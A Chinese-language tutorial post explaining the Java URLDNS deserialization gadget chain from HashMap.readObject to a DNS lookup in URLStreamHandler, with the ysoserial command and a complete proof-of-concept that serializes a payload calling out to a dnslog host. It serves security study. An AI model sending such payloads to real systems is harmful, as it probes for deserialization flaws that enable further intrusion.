0


[java安全]URLDNS

文章目录

[java安全]URLDNS

前言

URLDNS利用链是一条很简单的链子,可以用来查看java反序列化是否存在反序列化漏洞,如果存在,就会触发dns查询请求

它有如下优点:

使用java内置类构造,对第三方库没有依赖

在目标没有回显的时候,可以使用DNS请求得知是否存在反序列化漏洞

在ysoserial下生成URLDNS的命令为:

java -jar ysoserial.jar URLDNS"http://xxx.dnslog.cn"

在学习URLDNS之前,我们需要了解一些java内置的类

HashMap

在HashMap的类中有

readObject()

方法,

我们知道,如果一个类重写了readObject()方法,那么在反序列化时,就会执行重写的readObject()方法

privatevoidreadObject(java.io.ObjectInputStream s)throwsIOException,ClassNotFoundException{// Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();reinitialize();...// Read the keys and values, and put the mappings in the HashMapfor(int i =0; i < mappings; i++){@SuppressWarnings("unchecked")K key =(K) s.readObject();@SuppressWarnings("unchecked")V value =(V) s.readObject();putVal(hash(key), key, value,false,false);}}}

在HashMap的

readObject()

方法中调用了

hash()

方法,于是我们过去hash方法中看一下:

staticfinalinthash(Object key){int h;return(key ==null)?0:(h = key.hashCode())^(h >>>16);}

发现调用了

key

变量的

hashCode()

方法,这里的key是可以控制的

这里我们就知道需要一个新的类了:

URL

java.net.URL

类中存在一个hashCode方法:

publicsynchronizedinthashCode(){if(hashCode !=-1)return hashCode;

        hashCode = handler.hashCode(this);return hashCode;}

hashCode变量

初值为-1
privateint hashCode =-1;

hashCode

变量不等于-1时,就会return结束函数

hashCode=-1

,会调用

handler

的hashCode方法,参数是URL类的对象

然后我们查看一下

handler

类是什么类型:

transientURLStreamHandler handler;

发现是

URLStreamHandler

类,于是我们再查看一下该类

URLStreamHandler

hashCode方法

protectedinthashCode(URL u){int h =0;// Generate the protocol part.String protocol = u.getProtocol();if(protocol !=null)
            h += protocol.hashCode();// Generate the host part.InetAddress addr =getHostAddress(u);...}

发现调用了

getHostAddress()

,参数为URL类对象,查看一下

getHostAddress()方法
protectedsynchronizedInetAddressgetHostAddress(URL u){if(u.hostAddress !=null)return u.hostAddress;String host = u.getHost();if(host ==null|| host.equals("")){returnnull;}else{try{
                u.hostAddress =InetAddress.getByName(host);}catch(UnknownHostException ex){returnnull;}catch(SecurityException se){returnnull;}}return u.hostAddress;}

这个方法中有一个函数调用

InetAddress.getByName(host)

,获取目标主机的ip地址,其实就是进行了一次DNS查询

调用过程

我们捋一下过程

我们可以先创建一个

HashMap对象

,然后让键的类型为

URL

,例如:

HashMap<URL,String> hashMap =newHashMap<URL,String>();

然后创建一个

URL

类对象,参数我们传入DNS平台的url即可

这里有一些很重要的注意点

如何我们直接调用Map的

put()

,将HashMap中添加一个元素,可能会导致误触URL请求

我们看一下HashMap的

put()方法

:

publicVput(K key,V value){returnputVal(hash(key), key, value,false,true);}

发现put方法也会调用hash()方法,所以我们需要想办法避免触发

我们想到

URL

类中的hashCode变量初值为-1,当值为-1时URL类中的hashCode()方法会return返回,所以我们可以将URL对象添加到HashMap之前将hashCode变量设置为其他值即可

如何才能设置hashCode等于其他值呢?

我们需要使用java反射:

Field f =Class.forName("java.net.URL").getDeclaredField("hashCode");//使用内部方法
f.setAccessible(true);//hashCode是私有变量,所以要设置访问权限// hashMap.put时会调用hash(key),这里先把hashCode(初值为-1)设置为其他值,避免和后面的DNS请求混淆,导致触发dns
f.set(url,0xAAA);

添加到HashMap中之后,我们需要使用反射把

hashCode=-1

调用链

HashMap.readObject()HashMap.hash()URL.hashCode()URLStreamHandler.hashCode()URLStreamHandler.getHostAddress()

流程图

image-20230714204745449

POC

importjava.io.FileInputStream;importjava.io.FileOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.reflect.Field;importjava.net.URL;importjava.util.HashMap;publicclassURLDNS{publicstaticObjecturldns()throwsException{//漏洞出发点 hashmap,实例化出来HashMap<URL,String> hashMap =newHashMap<URL,String>();//URL对象传入自己测试的dnslogURL url =newURL("http://txbjb7.dnslog.cn");//反射获取 URL的hashcode方法Field f =Class.forName("java.net.URL").getDeclaredField("hashCode");//使用内部方法
        f.setAccessible(true);// hashMap.put时会调用hash(key),这里先把hashCode设置为其他值,避免和后面的DNS请求混淆
        f.set(url,0xAAA);
        hashMap.put(url,"leekos");// hashCode 这个属性放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode
        f.set(url,-1);// 序列化成对象,输出出来return hashMap;}publicstaticvoidmain(String[] args)throwsException{payload2File(urldns(),"obj");payloadTest("obj");}publicstaticvoidpayload2File(Object instance,String file)throwsException{//将构造好的payload序列化后写入文件中ObjectOutputStream out =newObjectOutputStream(newFileOutputStream(file));
        out.writeObject(instance);
        out.flush();
        out.close();}publicstaticvoidpayloadTest(String file)throwsException{//读取写入的payload,并进行反序列化ObjectInputStream in =newObjectInputStream(newFileInputStream(file));
        in.readObject();
        in.close();}}
标签: java 安全 web安全

本文转载自: https://blog.csdn.net/qq_61839115/article/details/131736379
版权归原作者 Leekos 所有, 如有侵权,请联系我们删除。

“[java安全]URLDNS”的评论:

还没有评论